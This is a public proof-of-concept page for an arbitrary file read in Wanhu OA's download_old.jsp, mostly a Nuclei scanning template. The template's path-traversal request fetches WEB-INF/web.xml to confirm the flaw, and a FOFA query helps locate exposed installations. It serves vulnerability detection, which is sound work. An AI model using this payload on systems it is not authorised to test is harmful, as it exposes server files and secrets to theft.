wanhu-download-old-file-read: Wanhu OA download_old.jsp - Arbitrary File Read

2025-08-01 Wanhu OA PoC Public

Description

There is an arbitrary file download vulnerability in the Wanhu OA download_old.jsp file. An attacker can download any file on the server through the vulnerability.

PoC

id: wanhu-download-old-file-read

info:
  name: Wanhu OA download_old.jsp - Arbitrary File Read
  author: SleepingBag945
  severity: high
  description: |
    There is an arbitrary file download vulnerability in the Wanhu OA download_old.jsp file. An attacker can download any file on the server through the vulnerability.
  reference:
    - http://wiki.peiqi.tech/wiki/oa/万户OA/万户OA%20download_old.jsp%20任意文件下载漏洞.html
    - https://github.com/zan8in/afrog/blob/main/v2/pocs/afrog-pocs/vulnerability/wanhu-oa-download-old-file-read.yaml
  classification:
    cwe-id: CWE-23,CWE-73
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="万户网络-ezOFFICE"
  tags: wanhu,lfi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/defaultroot/download_old.jsp?path=..&name=x&FileName=WEB-INF/web.xml"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "<?xml version="
          - "web-app"
          - "display-name"
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a004830460221009c7d2d4addba03b9e8599279a823884e36099e582dc41ed0dc92c387c648a847022100c2bde9992155232d8f7812a3df01e0562285bf3415fcc18c9755c1a00321cb44:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/wanhu/wanhu-download-old-file-read.yaml

References

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